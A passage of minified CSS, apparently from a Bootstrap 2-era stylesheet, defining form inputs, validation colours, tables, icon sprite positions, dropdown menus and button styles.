\9;*margin-top:0;line-height:normal;cursor:pointer}input[type="file"],input[type="image"],input[type="submit"],input[type="reset"],input[type="button"],input[type="radio"],input[type="checkbox"]{width:auto}select,input[type="file"]{height:30px;*margin-top:4px;line-height:30px}select{width:220px;background-color:#fff;border:1px solid #ccc}select[multiple],select[size]{height:auto}select:focus,input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.uneditable-input,.uneditable-textarea{color:#999;cursor:not-allowed;background-color:#fcfcfc;border-color:#ccc;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.025);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.025);box-shadow:inset 0 1px 2px rgba(0,0,0,0.025)}.uneditable-input{overflow:hidden;white-space:nowrap}.uneditable-textarea{width:auto;height:auto}input:-moz-placeholder,textarea:-moz-placeholder{color:#999}input:-ms-input-placeholder,textarea:-ms-input-placeholder{color:#999}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999}.radio,.checkbox{min-height:18px;padding-left:18px}.radio input[type="radio"],.checkbox input[type="checkbox"]{float:left;margin-left:-18px}.controls>.radio:first-child,.controls>.checkbox:first-child{padding-top:5px}.radio.inline,.checkbox.inline{display:inline-block;padding-top:5px;margin-bottom:0;vertical-align:middle}.radio.inline+.radio.inline,.checkbox.inline+.checkbox.inline{margin-left:10px}.input-mini{width:60px}.input-small{width:90px}.input-medium{width:150px}.input-large{width:210px}.input-xlarge{width:270px}.input-xxlarge{width:530px}input[class*="span"],select[class*="span"],textarea[class*="span"],.uneditable-input[class*="span"],.row-fluid input[class*="span"],.row-fluid select[class*="span"],.row-fluid textarea[class*="span"],.row-fluid .uneditable-input[class*="span"]{float:none;margin-left:0}.input-append input[class*="span"],.input-append .uneditable-input[class*="span"],.input-prepend input[class*="span"],.input-prepend .uneditable-input[class*="span"],.row-fluid input[class*="span"],.row-fluid select[class*="span"],.row-fluid textarea[class*="span"],.row-fluid .uneditable-input[class*="span"],.row-fluid .input-prepend [class*="span"],.row-fluid .input-append [class*="span"]{display:inline-block}input,textarea,.uneditable-input{margin-left:0}.controls-row [class*="span"]+[class*="span"]{margin-left:20px}input.span12,textarea.span12,.uneditable-input.span12{width:926px}input.span11,textarea.span11,.uneditable-input.span11{width:846px}input.span10,textarea.span10,.uneditable-input.span10{width:766px}input.span9,textarea.span9,.uneditable-input.span9{width:686px}input.span8,textarea.span8,.uneditable-input.span8{width:606px}input.span7,textarea.span7,.uneditable-input.span7{width:526px}input.span6,textarea.span6,.uneditable-input.span6{width:446px}input.span5,textarea.span5,.uneditable-input.span5{width:366px}input.span4,textarea.span4,.uneditable-input.span4{width:286px}input.span3,textarea.span3,.uneditable-input.span3{width:206px}input.span2,textarea.span2,.uneditable-input.span2{width:126px}input.span1,textarea.span1,.uneditable-input.span1{width:46px}.controls-row{*zoom:1}.controls-row:before,.controls-row:after{display:table;line-height:0;content:""}.controls-row:after{clear:both}.controls-row [class*="span"]{float:left}input[disabled],select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly]{cursor:not-allowed;background-color:#eee}input[type="radio"][disabled],input[type="checkbox"][disabled],input[type="radio"][readonly],input[type="checkbox"][readonly]{background-color:transparent}.control-group.warning>label,.control-group.warning .help-block,.control-group.warning .help-inline{color:#c09853}.control-group.warning .checkbox,.control-group.warning .radio,.control-group.warning input,.control-group.warning select,.control-group.warning textarea{color:#c09853}.control-group.warning input,.control-group.warning select,.control-group.warning textarea{border-color:#c09853;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.control-group.warning input:focus,.control-group.warning select:focus,.control-group.warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e}.control-group.warning .input-prepend .add-on,.control-group.warning .input-append .add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853}.control-group.error>label,.control-group.error .help-block,.control-group.error .help-inline{color:#b94a48}.control-group.error .checkbox,.control-group.error .radio,.control-group.error input,.control-group.error select,.control-group.error textarea{color:#b94a48}.control-group.error input,.control-group.error select,.control-group.error textarea{border-color:#b94a48;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.control-group.error input:focus,.control-group.error select:focus,.control-group.error textarea:focus{border-color:#953b39;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392}.control-group.error .input-prepend .add-on,.control-group.error .input-append .add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48}.control-group.success>label,.control-group.success .help-block,.control-group.success .help-inline{color:#468847}.control-group.success .checkbox,.control-group.success .radio,.control-group.success input,.control-group.success select,.control-group.success textarea{color:#468847}.control-group.success input,.control-group.success select,.control-group.success textarea{border-color:#468847;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.control-group.success input:focus,.control-group.success select:focus,.control-group.success textarea:focus{border-color:#356635;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b}.control-group.success .input-prepend .add-on,.control-group.success .input-append .add-on{color:#468847;background-color:#dff0d8;border-color:#468847}.control-group.info>label,.control-group.info .help-block,.control-group.info .help-inline{color:#3a87ad}.control-group.info .checkbox,.control-group.info .radio,.control-group.info input,.control-group.info select,.control-group.info textarea{color:#3a87ad}.control-group.info input,.control-group.info select,.control-group.info textarea{border-color:#3a87ad;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.control-group.info input:focus,.control-group.info select:focus,.control-group.info textarea:focus{border-color:#2d6987;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7ab5d3;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7ab5d3;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7ab5d3}.control-group.info .input-prepend .add-on,.control-group.info .input-append .add-on{color:#3a87ad;background-color:#d9edf7;border-color:#3a87ad}input:focus:required:invalid,textarea:focus:required:invalid,select:focus:required:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:required:invalid:focus,textarea:focus:required:invalid:focus,select:focus:required:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.form-actions{padding:19px 20px 20px;margin-top:20px;margin-bottom:20px;background-color:#f5f5f5;border-top:1px solid #e5e5e5;*zoom:1}.form-actions:before,.form-actions:after{display:table;line-height:0;content:""}.form-actions:after{clear:both}.help-block,.help-inline{color:#595959}.help-block{display:block;margin-bottom:10px}.help-inline{display:inline-block;*display:inline;padding-left:5px;vertical-align:middle;*zoom:1}.input-append,.input-prepend{margin-bottom:5px;font-size:0;white-space:nowrap}.input-append input,.input-prepend input,.input-append select,.input-prepend select,.input-append .uneditable-input,.input-prepend .uneditable-input{position:relative;margin-bottom:0;*margin-left:0;font-size:14px;vertical-align:top;-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.input-append input:focus,.input-prepend input:focus,.input-append select:focus,.input-prepend select:focus,.input-append .uneditable-input:focus,.input-prepend .uneditable-input:focus{z-index:2}.input-append .add-on,.input-prepend .add-on{display:inline-block;width:auto;height:20px;min-width:16px;padding:4px 5px;font-size:14px;font-weight:normal;line-height:20px;text-align:center;text-shadow:0 1px 0 #fff;background-color:#eee;border:1px solid #ccc}.input-append .add-on,.input-prepend .add-on,.input-append .btn,.input-prepend .btn{vertical-align:top;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.input-append .active,.input-prepend .active{background-color:#a9dba9;border-color:#46a546}.input-prepend .add-on,.input-prepend .btn{margin-right:-1px}.input-prepend .add-on:first-child,.input-prepend .btn:first-child{-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.input-append input,.input-append select,.input-append .uneditable-input{-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.input-append .add-on,.input-append .btn{margin-left:-1px}.input-append .add-on:last-child,.input-append .btn:last-child{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.input-prepend.input-append input,.input-prepend.input-append select,.input-prepend.input-append .uneditable-input{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.input-prepend.input-append .add-on:first-child,.input-prepend.input-append .btn:first-child{margin-right:-1px;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.input-prepend.input-append .add-on:last-child,.input-prepend.input-append .btn:last-child{margin-left:-1px;-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}input.search-query{padding-right:14px;padding-right:4px \9;padding-left:14px;padding-left:4px \9;margin-bottom:0;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.form-search .input-append .search-query,.form-search .input-prepend .search-query{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.form-search .input-append .search-query{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px}.form-search .input-append .btn{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0}.form-search .input-prepend .search-query{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0}.form-search .input-prepend .btn{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px}.form-search input,.form-inline input,.form-horizontal input,.form-search textarea,.form-inline textarea,.form-horizontal textarea,.form-search select,.form-inline select,.form-horizontal select,.form-search .help-inline,.form-inline .help-inline,.form-horizontal .help-inline,.form-search .uneditable-input,.form-inline .uneditable-input,.form-horizontal .uneditable-input,.form-search .input-prepend,.form-inline .input-prepend,.form-horizontal .input-prepend,.form-search .input-append,.form-inline .input-append,.form-horizontal .input-append{display:inline-block;*display:inline;margin-bottom:0;vertical-align:middle;*zoom:1}.form-search .hide,.form-inline .hide,.form-horizontal .hide{display:none}.form-search label,.form-inline label,.form-search .btn-group,.form-inline .btn-group{display:inline-block}.form-search .input-append,.form-inline .input-append,.form-search .input-prepend,.form-inline .input-prepend{margin-bottom:0}.form-search .radio,.form-search .checkbox,.form-inline .radio,.form-inline .checkbox{padding-left:0;margin-bottom:0;vertical-align:middle}.form-search .radio input[type="radio"],.form-search .checkbox input[type="checkbox"],.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{float:left;margin-right:3px;margin-left:0}.control-group{margin-bottom:10px}legend+.control-group{margin-top:20px;-webkit-margin-top-collapse:separate}.form-horizontal .control-group{margin-bottom:20px;*zoom:1}.form-horizontal .control-group:before,.form-horizontal .control-group:after{display:table;line-height:0;content:""}.form-horizontal .control-group:after{clear:both}.form-horizontal .control-label{float:left;width:160px;padding-top:5px;text-align:right}.form-horizontal .controls{*display:inline-block;*padding-left:20px;margin-left:180px;*margin-left:0}.form-horizontal .controls:first-child{*padding-left:180px}.form-horizontal .help-block{margin-bottom:0}.form-horizontal input+.help-block,.form-horizontal select+.help-block,.form-horizontal textarea+.help-block{margin-top:10px}.form-horizontal .form-actions{padding-left:180px}table{max-width:100%;background-color:transparent;border-collapse:collapse;border-spacing:0}.table{width:100%;margin-bottom:20px}.table th,.table td{padding:8px;line-height:20px;text-align:left;vertical-align:top;border-top:1px solid #ddd}.table th{font-weight:bold}.table thead th{vertical-align:bottom}.table caption+thead tr:first-child th,.table caption+thead tr:first-child td,.table colgroup+thead tr:first-child th,.table colgroup+thead tr:first-child td,.table thead:first-child tr:first-child th,.table thead:first-child tr:first-child td{border-top:0}.table tbody+tbody{border-top:2px solid #ddd}.table-condensed th,.table-condensed td{padding:4px 5px}.table-bordered{border:1px solid #ddd;border-collapse:separate;*border-collapse:collapse;border-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.table-bordered th,.table-bordered td{border-left:1px solid #ddd}.table-bordered caption+thead tr:first-child th,.table-bordered caption+tbody tr:first-child th,.table-bordered caption+tbody tr:first-child td,.table-bordered colgroup+thead tr:first-child th,.table-bordered colgroup+tbody tr:first-child th,.table-bordered colgroup+tbody tr:first-child td,.table-bordered thead:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child td{border-top:0}.table-bordered thead:first-child tr:first-child th:first-child,.table-bordered tbody:first-child tr:first-child td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px}.table-bordered thead:first-child tr:first-child th:last-child,.table-bordered tbody:first-child tr:first-child td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topright:4px}.table-bordered thead:last-child tr:last-child th:first-child,.table-bordered tbody:last-child tr:last-child td:first-child,.table-bordered tfoot:last-child tr:last-child td:first-child{-webkit-border-radius:0 0 0 4px;-moz-border-radius:0 0 0 4px;border-radius:0 0 0 4px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px}.table-bordered thead:last-child tr:last-child th:last-child,.table-bordered tbody:last-child tr:last-child td:last-child,.table-bordered tfoot:last-child tr:last-child td:last-child{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px}.table-bordered caption+thead tr:first-child th:first-child,.table-bordered caption+tbody tr:first-child td:first-child,.table-bordered colgroup+thead tr:first-child th:first-child,.table-bordered colgroup+tbody tr:first-child td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px}.table-bordered caption+thead tr:first-child th:last-child,.table-bordered caption+tbody tr:first-child td:last-child,.table-bordered colgroup+thead tr:first-child th:last-child,.table-bordered colgroup+tbody tr:first-child td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topleft:4px}.table-striped tbody tr:nth-child(odd) td,.table-striped tbody tr:nth-child(odd) th{background-color:#f9f9f9}.table-hover tbody tr:hover td,.table-hover tbody tr:hover th{background-color:#f5f5f5}table [class*=span],.row-fluid table [class*=span]{display:table-cell;float:none;margin-left:0}.table .span1{float:none;width:44px;margin-left:0}.table .span2{float:none;width:124px;margin-left:0}.table .span3{float:none;width:204px;margin-left:0}.table .span4{float:none;width:284px;margin-left:0}.table .span5{float:none;width:364px;margin-left:0}.table .span6{float:none;width:444px;margin-left:0}.table .span7{float:none;width:524px;margin-left:0}.table .span8{float:none;width:604px;margin-left:0}.table .span9{float:none;width:684px;margin-left:0}.table .span10{float:none;width:764px;margin-left:0}.table .span11{float:none;width:844px;margin-left:0}.table .span12{float:none;width:924px;margin-left:0}.table .span13{float:none;width:1004px;margin-left:0}.table .span14{float:none;width:1084px;margin-left:0}.table .span15{float:none;width:1164px;margin-left:0}.table .span16{float:none;width:1244px;margin-left:0}.table .span17{float:none;width:1324px;margin-left:0}.table .span18{float:none;width:1404px;margin-left:0}.table .span19{float:none;width:1484px;margin-left:0}.table .span20{float:none;width:1564px;margin-left:0}.table .span21{float:none;width:1644px;margin-left:0}.table .span22{float:none;width:1724px;margin-left:0}.table .span23{float:none;width:1804px;margin-left:0}.table .span24{float:none;width:1884px;margin-left:0}.table tbody tr.success td{background-color:#dff0d8}.table tbody tr.error td{background-color:#f2dede}.table tbody tr.warning td{background-color:#fcf8e3}.table tbody tr.info td{background-color:#d9edf7}.table-hover tbody tr.success:hover td{background-color:#d0e9c6}.table-hover tbody tr.error:hover td{background-color:#ebcccc}.table-hover tbody tr.warning:hover td{background-color:#faf2cc}.table-hover tbody tr.info:hover td{background-color:#c4e3f3}[class^="icon-"],[class*=" icon-"]{display:inline-block;width:14px;height:14px;margin-top:1px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat}.icon-white,.nav-tabs>.active>a>[class^="icon-"],.nav-tabs>.active>a>[class*=" icon-"],.nav-pills>.active>a>[class^="icon-"],.nav-pills>.active>a>[class*=" icon-"],.nav-list>.active>a>[class^="icon-"],.nav-list>.active>a>[class*=" icon-"],.navbar-inverse .nav>.active>a>[class^="icon-"],.navbar-inverse .nav>.active>a>[class*=" icon-"],.dropdown-menu>li>a:hover>[class^="icon-"],.dropdown-menu>li>a:hover>[class*=" icon-"],.dropdown-menu>.active>a>[class^="icon-"],.dropdown-menu>.active>a>[class*=" icon-"]{background-image:url("../img/glyphicons-halflings-white.png")}.icon-glass{background-position:0 0}.icon-music{background-position:-24px 0}.icon-search{background-position:-48px 0}.icon-envelope{background-position:-72px 0}.icon-heart{background-position:-96px 0}.icon-star{background-position:-120px 0}.icon-star-empty{background-position:-144px 0}.icon-user{background-position:-168px 0}.icon-film{background-position:-192px 0}.icon-th-large{background-position:-216px 0}.icon-th{background-position:-240px 0}.icon-th-list{background-position:-264px 0}.icon-ok{background-position:-288px 0}.icon-remove{background-position:-312px 0}.icon-zoom-in{background-position:-336px 0}.icon-zoom-out{background-position:-360px 0}.icon-off{background-position:-384px 0}.icon-signal{background-position:-408px 0}.icon-cog{background-position:-432px 0}.icon-trash{background-position:-456px 0}.icon-home{background-position:0 -24px}.icon-file{background-position:-24px -24px}.icon-time{background-position:-48px -24px}.icon-road{background-position:-72px -24px}.icon-download-alt{background-position:-96px -24px}.icon-download{background-position:-120px -24px}.icon-upload{background-position:-144px -24px}.icon-inbox{background-position:-168px -24px}.icon-play-circle{background-position:-192px -24px}.icon-repeat{background-position:-216px -24px}.icon-refresh{background-position:-240px -24px}.icon-list-alt{background-position:-264px -24px}.icon-lock{background-position:-287px -24px}.icon-flag{background-position:-312px -24px}.icon-headphones{background-position:-336px -24px}.icon-volume-off{background-position:-360px -24px}.icon-volume-down{background-position:-384px -24px}.icon-volume-up{background-position:-408px -24px}.icon-qrcode{background-position:-432px -24px}.icon-barcode{background-position:-456px -24px}.icon-tag{background-position:0 -48px}.icon-tags{background-position:-25px -48px}.icon-book{background-position:-48px -48px}.icon-bookmark{background-position:-72px -48px}.icon-print{background-position:-96px -48px}.icon-camera{background-position:-120px -48px}.icon-font{background-position:-144px -48px}.icon-bold{background-position:-167px -48px}.icon-italic{background-position:-192px -48px}.icon-text-height{background-position:-216px -48px}.icon-text-width{background-position:-240px -48px}.icon-align-left{background-position:-264px -48px}.icon-align-center{background-position:-288px -48px}.icon-align-right{background-position:-312px -48px}.icon-align-justify{background-position:-336px -48px}.icon-list{background-position:-360px -48px}.icon-indent-left{background-position:-384px -48px}.icon-indent-right{background-position:-408px -48px}.icon-facetime-video{background-position:-432px -48px}.icon-picture{background-position:-456px -48px}.icon-pencil{background-position:0 -72px}.icon-map-marker{background-position:-24px -72px}.icon-adjust{background-position:-48px -72px}.icon-tint{background-position:-72px -72px}.icon-edit{background-position:-96px -72px}.icon-share{background-position:-120px -72px}.icon-check{background-position:-144px -72px}.icon-move{background-position:-168px -72px}.icon-step-backward{background-position:-192px -72px}.icon-fast-backward{background-position:-216px -72px}.icon-backward{background-position:-240px -72px}.icon-play{background-position:-264px -72px}.icon-pause{background-position:-288px -72px}.icon-stop{background-position:-312px -72px}.icon-forward{background-position:-336px -72px}.icon-fast-forward{background-position:-360px -72px}.icon-step-forward{background-position:-384px -72px}.icon-eject{background-position:-408px -72px}.icon-chevron-left{background-position:-432px -72px}.icon-chevron-right{background-position:-456px -72px}.icon-plus-sign{background-position:0 -96px}.icon-minus-sign{background-position:-24px -96px}.icon-remove-sign{background-position:-48px -96px}.icon-ok-sign{background-position:-72px -96px}.icon-question-sign{background-position:-96px -96px}.icon-info-sign{background-position:-120px -96px}.icon-screenshot{background-position:-144px -96px}.icon-remove-circle{background-position:-168px -96px}.icon-ok-circle{background-position:-192px -96px}.icon-ban-circle{background-position:-216px -96px}.icon-arrow-left{background-position:-240px -96px}.icon-arrow-right{background-position:-264px -96px}.icon-arrow-up{background-position:-289px -96px}.icon-arrow-down{background-position:-312px -96px}.icon-share-alt{background-position:-336px -96px}.icon-resize-full{background-position:-360px -96px}.icon-resize-small{background-position:-384px -96px}.icon-plus{background-position:-408px -96px}.icon-minus{background-position:-433px -96px}.icon-asterisk{background-position:-456px -96px}.icon-exclamation-sign{background-position:0 -120px}.icon-gift{background-position:-24px -120px}.icon-leaf{background-position:-48px -120px}.icon-fire{background-position:-72px -120px}.icon-eye-open{background-position:-96px -120px}.icon-eye-close{background-position:-120px -120px}.icon-warning-sign{background-position:-144px -120px}.icon-plane{background-position:-168px -120px}.icon-calendar{background-position:-192px -120px}.icon-random{width:16px;background-position:-216px -120px}.icon-comment{background-position:-240px -120px}.icon-magnet{background-position:-264px -120px}.icon-chevron-up{background-position:-288px -120px}.icon-chevron-down{background-position:-313px -119px}.icon-retweet{background-position:-336px -120px}.icon-shopping-cart{background-position:-360px -120px}.icon-folder-close{background-position:-384px -120px}.icon-folder-open{width:16px;background-position:-408px -120px}.icon-resize-vertical{background-position:-432px -119px}.icon-resize-horizontal{background-position:-456px -118px}.icon-hdd{background-position:0 -144px}.icon-bullhorn{background-position:-24px -144px}.icon-bell{background-position:-48px -144px}.icon-certificate{background-position:-72px -144px}.icon-thumbs-up{background-position:-96px -144px}.icon-thumbs-down{background-position:-120px -144px}.icon-hand-right{background-position:-144px -144px}.icon-hand-left{background-position:-168px -144px}.icon-hand-up{background-position:-192px -144px}.icon-hand-down{background-position:-216px -144px}.icon-circle-arrow-right{background-position:-240px -144px}.icon-circle-arrow-left{background-position:-264px -144px}.icon-circle-arrow-up{background-position:-288px -144px}.icon-circle-arrow-down{background-position:-312px -144px}.icon-globe{background-position:-336px -144px}.icon-wrench{background-position:-360px -144px}.icon-tasks{background-position:-384px -144px}.icon-filter{background-position:-408px -144px}.icon-briefcase{background-position:-432px -144px}.icon-fullscreen{background-position:-456px -144px}.dropup,.dropdown{position:relative}.dropdown-toggle{*margin-bottom:-3px}.dropdown-toggle:active,.open .dropdown-toggle{outline:0}.caret{display:inline-block;width:0;height:0;vertical-align:top;border-top:4px solid #000;border-right:4px solid transparent;border-left:4px solid transparent;content:""}.dropdown .caret{margin-top:8px;margin-left:2px}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);*border-right-width:2px;*border-bottom-width:2px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #fff}.dropdown-menu a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:20px;color:#333;white-space:nowrap}.dropdown-menu li>a:hover,.dropdown-menu li>a:focus,.dropdown-submenu:hover>a{color:#fff;text-decoration:none;background-color:#08c;background-color:#0081c2;background-image:-moz-linear-gradient(top,#08c,#0077b3);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#0077b3));background-image:-webkit-linear-gradient(top,#08c,#0077b3);background-image:-o-linear-gradient(top,#08c,#0077b3);background-image:linear-gradient(to bottom,#08c,#0077b3);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff0088cc',endColorstr='#ff0077b3',GradientType=0)}.dropdown-menu .active>a,.dropdown-menu .active>a:hover{color:#fff;text-decoration:none;background-color:#08c;background-color:#0081c2;background-image:linear-gradient(to bottom,#08c,#0077b3);background-image:-moz-linear-gradient(top,#08c,#0077b3);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#0077b3));background-image:-webkit-linear-gradient(top,#08c,#0077b3);background-image:-o-linear-gradient(top,#08c,#0077b3);background-repeat:repeat-x;outline:0;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff0088cc',endColorstr='#ff0077b3',GradientType=0)}.dropdown-menu .disabled>a,.dropdown-menu .disabled>a:hover{color:#999}.dropdown-menu .disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent}.open{*z-index:1000}.open>.dropdown-menu{display:block}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px solid #000;content:""}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}.dropdown-submenu{position:relative}.dropdown-submenu>.dropdown-menu{top:0;left:100%;margin-top:-6px;margin-left:-1px;-webkit-border-radius:0 6px 6px 6px;-moz-border-radius:0 6px 6px 6px;border-radius:0 6px 6px 6px}.dropdown-submenu:hover>.dropdown-menu{display:block}.dropdown-submenu>a:after{display:block;float:right;width:0;height:0;margin-top:5px;margin-right:-10px;border-color:transparent;border-left-color:#ccc;border-style:solid;border-width:5px 0 5px 5px;content:" "}.dropdown-submenu:hover>a:after{border-left-color:#fff}.dropdown .dropdown-menu .nav-header{padding-right:20px;padding-left:20px}.typeahead{margin-top:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);box-shadow:inset 0 1px 1px rgba(0,0,0,0.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,0.15)}.well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{position:relative;height:0;overflow:hidden;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.collapse.in{height:auto}.close{float:right;font-size:20px;font-weight:bold;line-height:20px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.close:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none}.btn{display:inline-block;*display:inline;padding:4px 14px;margin-bottom:0;*margin-left:.3em;font-size:14px;line-height:20px;*line-height:20px;color:#333;text-align:center;text-shadow:0 1px 1px rgba(255,255,255,0.75);vertical-align:middle;cursor:pointer;background-color:#f5f5f5;*background-color:#e6e6e6;background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(to bottom,#fff,#e6e6e6);background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #bbb;*border:0;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-bottom-color:#a2a2a2;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ffffffff',endColorstr='#ffe6e6e6',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false);*zoom:1;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn:hover,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9}.btn:active,.btn.active{background-color:#ccc \9}.btn:first-child{*margin-left:0}.btn:hover{color:#333;text-decoration:none;background-color:#e6e6e6;*background-color:#d9d9d9;background-position:0 -15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.btn:focus{outline:thin dotted #333;outline:5px auto 